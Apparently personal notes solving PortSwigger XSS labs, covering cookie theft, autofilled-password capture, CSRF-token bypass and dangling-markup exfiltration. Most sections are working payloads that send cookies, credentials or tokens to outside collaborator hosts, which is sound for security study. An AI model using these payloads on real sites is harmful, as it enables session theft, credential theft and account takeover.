``` Those payload just a PoC, Proving allow us to arbitrary execute javascript Now, we have to prove that XSS is a high threat by fully exploit ## Steal Cookie We could through fetch function make the victim send request with cookie to us. But, there are some limitations. - Victim not login in - Website have HttpOnly Setting - Session might be block by addiction factor like the user'IP address - The session might timeout ## Lab-Exploiting XSS to steal cookie ### Mapping Target - Crawl Scanning - Manual testing post functionality ![圖片](https://hackmd.io/_uploads/rk3fyZgLp.png) ### Analysis Attack Surface Analysis Issue ![圖片](https://hackmd.io/_uploads/Bk8P4ZeU6.png) Evaluate User input ![圖片](https://hackmd.io/_uploads/HJOYzbe8T.png) ### Identify XSS Between HTML tags ``` <svg onload=alert(document.domain)> or <svg onload=alert(document.cookie)> ``` Testing -> Comment Testing -> Email prefix ![圖片](https://hackmd.io/_uploads/SyV8mWeLp.png) ![圖片](https://hackmd.io/_uploads/H1798bgLT.png) ### Exploit ```javascript fetch('https://izlpiklnyzy19pmky18wsf0yspygm7aw.oastify.com', { method: 'POST', mode: 'no-cors', body:document.cookie }); ``` or ```htmlembedded <svg onload="fetch('https://k7srqmtp6163hrum63gy0h800r6iuaiz.oastify.com', {method: 'POST',mode: 'no-cors',body: document.cookie});"></svg> ``` ==Note== We need to adding single quote or double quote prevent syntax Error, if we use html tag to exploit it. ![圖片](https://hackmd.io/_uploads/SkTx0-g8p.png) #### Testing as own account ![圖片](https://hackmd.io/_uploads/Hy0RQfgLa.png) #### Waiting Administrator ![圖片](https://hackmd.io/_uploads/SyFIRZxLp.png) ![圖片](https://hackmd.io/_uploads/H11OlzeLa.png) ![圖片](https://hackmd.io/_uploads/r1LdxGxL6.png) Solved !!! ## XSS Capture password. If you allow your browser to remember passwords,we could easily use script to extract the username and password through javascript. ![圖片](https://hackmd.io/_uploads/r1eIOXl8T.png) This technique require to the victim clicks the "Save Password" button, the next time they login in, the browser will automatically fill the username and password. ![圖片](https://hackmd.io/_uploads/rJOe94eLT.png) e.g. ```htmlembedded= <form method="post"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit" onclick="document.getElementById('victimPassword').innerHTML=password.value" value="click"> </form> <p id="victimUserName"></p> <p id="victimPassword"></p> ``` ![圖片](https://hackmd.io/_uploads/ByrQhmxU6.png) ```htmlembedded <input id="username" type="text" name="username"> <input type="password" name="password" onchange="passwordExistis(username.value,this.value)"> <p id="victimUserName"></p> <p id="victimPassword"></p> <script> function passwordExistis(username,password){ document.getElementById('victimUserName').innerHTML=username document.getElementById('victimPassword').innerHTML=password } </script> ``` ![圖片](https://hackmd.io/_uploads/BkCoGExL6.png) ```htmlembedded <input id="username" type="text" name="username"> <input type="password" name="password" onchange="userPass(username.value,this.value)"> <script> function userPass(username,password){ fetch("https://hzkoijlmyyy09omjy08vse0xsoyfm8ax.oastify.com", { method: "POST", mode: "no-cors", body: username,password }) } </script> ``` ![圖片](https://hackmd.io/_uploads/HkN3S4gU6.png) ![圖片](https://hackmd.io/_uploads/H1JQLVlU6.png) ## LAB-Exploiting cross-site scripting to capture passwords This XSS vulnerability is similar to previous lab, so I'll skip documenting the steps to identify XSS. Exploit ```htmlembedded= <!-- Works successfully --> <input id="username" type="text" name="username"> <input type="password" name="password" onchange="userPass(username.value,this.value)"> <script> function userPass(username,password){ fetch("https://hzkoijlmyyy09omjy08vse0xsoyfm8ax.oastify.com", { method: "POST", mode: "no-cors", body: username+':'+password }) } </script> <!-- Alternatively --> <input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });"> ``` ![圖片](https://hackmd.io/_uploads/Byb2cNl86.png) ![圖片](https://hackmd.io/_uploads/H1yKd4l8a.png) ![圖片](https://hackmd.io/_uploads/r15H_EgI6.png) ![圖片](https://hackmd.io/_uploads/SyRXOExIp.png) Solved !! ## Exploiting cross-site scripting to perform CSRF XSS allow attacker to manipulate Normal use into perform specific action such as. - Making victim to send a message - Making the victim commit a backdoor to a source code repository. - Making the victim transfer their Bitcoin. Some website don't require the password to change the email address, this present the an opportunity for exploitation, we can change victim email to one that we can control, and then trigger password rest to gain access victims account. Those exploitation under the the category of CSRF. CSRF can occur as a standalone vulnerability be exploit by using fishing HTML page, However, it can be mitigated through the use of anti-CSRF tokens If a website has an XSS vulnerability, it becomes possible to bypass the CSRF token ## LAB-Exploiting XSS Perform CSRF ### Mapping the target ![圖片](https://hackmd.io/_uploads/S1EBQBeIa.png) ### Analysis Attack surface Functionality Design Fault ![圖片](https://hackmd.io/_uploads/S1riQHeI6.png) Users can update their email without requiring a password. Evaluated User Input GET /post?postId=5 ![圖片](https://hackmd.io/_uploads/HyXVVrlUp.png) ![圖片](https://hackmd.io/_uploads/rJHD4BeU6.png) ### Identify Determine whether updating the email is vulnerable to a CSRF attack. ![圖片](https://hackmd.io/_uploads/rJz64HxIT.png) It has anti-CSRF token, We can attempt to find XSS to extract the token and bypass this protection. Finding XSS ![圖片](https://hackmd.io/_uploads/SJ9PSSlL6.png) ![圖片](https://hackmd.io/_uploads/r1GuSrg8T.png) The comment functionality allows us to execute arbitrary JavaScript. #### Exploit We can write code using XSS to bypass the CSRF token. We need two requests: the first to retrieve the token and the next to modify the email address to one we control. ```htmlembedded <script> var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get','/my-account',true); req.send(); function handleResponse() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/my-account/change-email', true); changeReq.send('csrf='+token+'&email=test@test.com') }; </script> ``` ![圖片](https://hackmd.io/_uploads/BkHKW8lUa.png) # Dangling mark up Attack Dangling markup attack allow us to retrieve the sensitive data in page Example ``` <input type="text" name="input" value="user can controll" ``` If the browse didn't filter `>"`, normally we attempt perform XSS testing, Suppose the application has CSP protection, it's impossible to perform XSS. But we could inject Dangling `img` tag to gain context after to `src` attribute as the following payload ``` "><img scr='//meowhecker.com? ``` ## LAB-Reflected XSS protected by very strict CSP, with dangling attack. ### Mapping Target Auto Curl and Manual Curl ![圖片](https://hackmd.io/_uploads/rkns6oGU6.png) ### Analysis Attack Surface Evaluated User Input ![圖片](https://hackmd.io/_uploads/S1QNK3MIa.png) ![圖片](https://hackmd.io/_uploads/BkEgq3z8a.png) Flaw-design Endpoint: /my-account ![圖片](https://hackmd.io/_uploads/rJe4TizLp.png) ### Identify Vuln It's possible Using CSRF to modify the email to reset the password. We have a XSS to grep the csrf token Identify Reflected XSS ==context in the HTML Attribute== Payload ``` meow"><svg onload="print() ``` ![圖片](https://hackmd.io/_uploads/ByNro3f8a.png) XSS not work (maybe have CSP) ![圖片](https://hackmd.io/_uploads/rkrXphfU6.png) Using dangling technique to gain CSRF token ``` meow"><img src=//ydfaxb1mr2u2paifa6ydzqgrdij971vq.oastify.com? ``` Fail (Chrome IN-build protect mechanism) ![圖片](https://hackmd.io/_uploads/SkPT32G8a.png) It have scp ### Exploit Vuln ![圖片](https://hackmd.io/_uploads/By8mD2fL6.png) Image() src this object can be use to manipulate application to interact with our C2 server ``` <script> var asyncImg = new Image() asyncImg.src='https://hackmd.io/_uploads/rJe4TizLp.png' asyncImg.onload = function(){ console.log('Async request successful'); } </script> ``` ![圖片](https://hackmd.io/_uploads/BkZ-L2fLa.png) `<base taget="_blank">` base tag be sued to setting default configuration target attribute can let `a` tag to choice the which action browser to do e.g. `_blank` new windows we could use window.name to get target value such as ```htmlembedded <a href="http://127.0.0.1">click</a><base target="meowhecker"> ``` ![圖片](https://hackmd.io/_uploads/r18rjpMUa.png) ``` <a href="http://exploit-0a5200dd03196146803e6b9c01ee0068.exploit-server.net">Click me<base target=' ``` ![圖片](https://hackmd.io/_uploads/rJrAkAfIa.png) ```htmlembedded= <script> if (window.name){ new Image().src='//w2z8m9qkg0j0e87dz4nboo5p2g87w1kq.oastify.com?'+encodeURIComponent(window.name); }else{ location='https://0af1008d0341618c808c6c4f00330086.web-security-academy.net/my-account?email="><a+href%3d"https%3a//exploit-0a5200dd03196146803e6b9c01ee0068.exploit-server.net/exploit">Click+Me</a><base+target%3d%27' } </script> ``` ![圖片](https://hackmd.io/_uploads/ryOHCaGUT.png) Local Account Testing Success Send to victim ![圖片](https://hackmd.io/_uploads/ByKOgCGUT.png) ``` <script> if(window.name) { new Image().src='//wnn879bk1040z8sdk48b9oqpngt7h25r.oastify.com?'+encodeURIComponent(window.name); } else { location = 'https://0af1008d0341618c808c6c4f00330086.web-security-academy.net/my-account?email="><a+href%3d"https%3a//exploit-0a5200dd03196146803e6b9c01ee0068.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27'; } </script> ``` (skip) ### # CSP ## Impact - Impersonate or masquerade as the victim user. - Read any Data that use is able to access - Capture the user login credential - inject trojan functionality into the website XSS impact is dependent on the what application functionality can be exploit. ## Content security policy(CSP Some website will employ CSP to mitigate the exploitation of the vulnerability, In Fact, have many way to circumvent this mechanism.